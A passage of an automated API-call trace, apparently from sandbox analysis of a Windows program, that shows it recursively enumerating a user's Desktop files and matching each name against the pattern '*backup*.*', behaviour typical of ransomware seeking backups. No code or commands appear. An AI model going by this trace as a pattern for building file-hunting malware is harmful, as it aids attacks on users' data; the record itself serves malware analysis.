(in: lpString1="\\", lpString2="8DlSlQ4DWJEgioA.bmp" | out: lpString1="\\8DlSlQ4DWJEgioA.bmp") returned="\\8DlSlQ4DWJEgioA.bmp" [0146.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0146.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp", cchWideChar=51, lpMultiByteStr=0x32baa60, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp", lpUsedDefaultChar=0x0) returned 51 [0146.775] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.775] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340b60, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0146.775] PathMatchSpecW (pszFile="8DlSlQ4DWJEgioA.bmp", pszSpec="*backup*.*") returned 0 [0146.775] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.775] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.775] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.775] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.776] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.776] lstrcatW (in: lpString1="\\", lpString2="avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.776] lstrcmpW (lpString1="avdtAoxV8CAmzwyXqi1", lpString2=".") returned 1 [0146.776] lstrcmpW (lpString1="avdtAoxV8CAmzwyXqi1", lpString2="..") returned 1 [0146.776] lstrcpyW (in: lpString1=0x19c9ac, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf", cchWideChar=78, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 78 [0146.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf", cchWideChar=78, lpMultiByteStr=0x2362c50, cbMultiByte=78, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf", lpUsedDefaultChar=0x0) returned 78 [0146.777] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.777] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x3340ea0, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0146.777] PathMatchSpecW (pszFile="3a8e-vNM7Q5rmwj.rtf", pszSpec="*backup*.*") returned 0 [0146.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0146.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv", cchWideChar=70, lpMultiByteStr=0x32bb658, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv", lpUsedDefaultChar=0x0) returned 70 [0146.778] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.778] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x3340be0, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0146.778] PathMatchSpecW (pszFile="5 VEXDj.flv", pszSpec="*backup*.*") returned 0 [0146.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv", cchWideChar=78, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 78 [0146.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv", cchWideChar=78, lpMultiByteStr=0x2362d00, cbMultiByte=78, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv", lpUsedDefaultChar=0x0) returned 78 [0146.778] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.778] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x3340dc0, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0146.778] PathMatchSpecW (pszFile="9sPEz ZVnQg tF9.flv", pszSpec="*backup*.*") returned 0 [0146.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav", cchWideChar=82, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 82 [0146.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav", cchWideChar=82, lpMultiByteStr=0x23611c0, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav", lpUsedDefaultChar=0x0) returned 82 [0146.778] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.778] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x3340d00, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0146.778] PathMatchSpecW (pszFile="JRz_Phqes8VP1D0jG57.wav", pszSpec="*backup*.*") returned 0 [0146.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", cchWideChar=58, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 58 [0146.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", cchWideChar=58, lpMultiByteStr=0x32ba738, cbMultiByte=58, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpUsedDefaultChar=0x0) returned 58 [0146.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3340c60, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0146.779] PathMatchSpecW (pszFile="0bJmFQ", pszSpec="*backup*.*") returned 0 [0146.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv", cchWideChar=79, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 79 [0146.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv", cchWideChar=79, lpMultiByteStr=0x2362830, cbMultiByte=79, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv", lpUsedDefaultChar=0x0) returned 79 [0146.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x3340e80, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0146.779] PathMatchSpecW (pszFile="fXPI66EalGh71Cb.flv", pszSpec="*backup*.*") returned 0 [0146.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0146.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav", cchWideChar=71, lpMultiByteStr=0x32bb1a8, cbMultiByte=71, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav", lpUsedDefaultChar=0x0) returned 71 [0146.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x3340ea0, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0146.779] PathMatchSpecW (pszFile="nd1SYQH.wav", pszSpec="*backup*.*") returned 0 [0146.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4", cchWideChar=72, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0146.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4", cchWideChar=72, lpMultiByteStr=0x32bb1f8, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4", lpUsedDefaultChar=0x0) returned 72 [0146.780] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.780] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x3340c20, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0146.780] PathMatchSpecW (pszFile="rseOPWBE.mp4", pszSpec="*backup*.*") returned 0 [0146.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", cchWideChar=59, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 59 [0146.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", cchWideChar=59, lpMultiByteStr=0x32ba198, cbMultiByte=59, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpUsedDefaultChar=0x0) returned 59 [0146.781] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.781] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3340ec0, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0146.781] PathMatchSpecW (pszFile="2Nmr4xl", pszSpec="*backup*.*") returned 0 [0146.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0146.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc", cchWideChar=76, lpMultiByteStr=0x2362830, cbMultiByte=76, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc", lpUsedDefaultChar=0x0) returned 76 [0146.781] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.781] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3340e60, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0146.781] PathMatchSpecW (pszFile="6_Lz6Ex2GE8X0H7LSYpm.doc", pszSpec="*backup*.*") returned 0 [0146.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0146.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv", cchWideChar=70, lpMultiByteStr=0x32bb7e8, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv", lpUsedDefaultChar=0x0) returned 70 [0146.781] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.781] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3340f00, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0146.781] PathMatchSpecW (pszFile="i33RqOxAVJq9dL.mkv", pszSpec="*backup*.*") returned 0 [0146.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0146.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg", cchWideChar=70, lpMultiByteStr=0x32bb478, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg", lpUsedDefaultChar=0x0) returned 70 [0146.782] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.782] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x3340ea0, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0146.782] PathMatchSpecW (pszFile="JsOVvpw5D.jpg", pszSpec="*backup*.*") returned 0 [0146.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0146.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4", cchWideChar=68, lpMultiByteStr=0x32bb428, cbMultiByte=68, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4", lpUsedDefaultChar=0x0) returned 68 [0146.782] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.782] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x3340de0, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0146.782] PathMatchSpecW (pszFile="SZTd4bP.mp4", pszSpec="*backup*.*") returned 0 [0146.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3", cchWideChar=73, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 73 [0146.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3", cchWideChar=73, lpMultiByteStr=0x2362ca8, cbMultiByte=73, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3", lpUsedDefaultChar=0x0) returned 73 [0146.782] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x3340ee0, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0146.783] PathMatchSpecW (pszFile="TS0v8AtAD55v.mp3", pszSpec="*backup*.*") returned 0 [0146.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", cchWideChar=56, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 56 [0146.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", cchWideChar=56, lpMultiByteStr=0x32bad60, cbMultiByte=56, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpUsedDefaultChar=0x0) returned 56 [0146.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3340ba0, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0146.783] PathMatchSpecW (pszFile="Mhr9", pszSpec="*backup*.*") returned 0 [0146.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0146.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg", cchWideChar=62, lpMultiByteStr=0x32ba5d0, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg", lpUsedDefaultChar=0x0) returned 62 [0146.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3340e60, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0146.783] PathMatchSpecW (pszFile="W89TW0.jpg", pszSpec="*backup*.*") returned 0 [0146.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0146.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", cchWideChar=51, lpMultiByteStr=0x32baf20, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpUsedDefaultChar=0x0) returned 51 [0146.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340c80, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0146.784] PathMatchSpecW (pszFile="avdtAoxV8CAmzwyXqi1", pszSpec="*backup*.*") returned 0 [0146.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 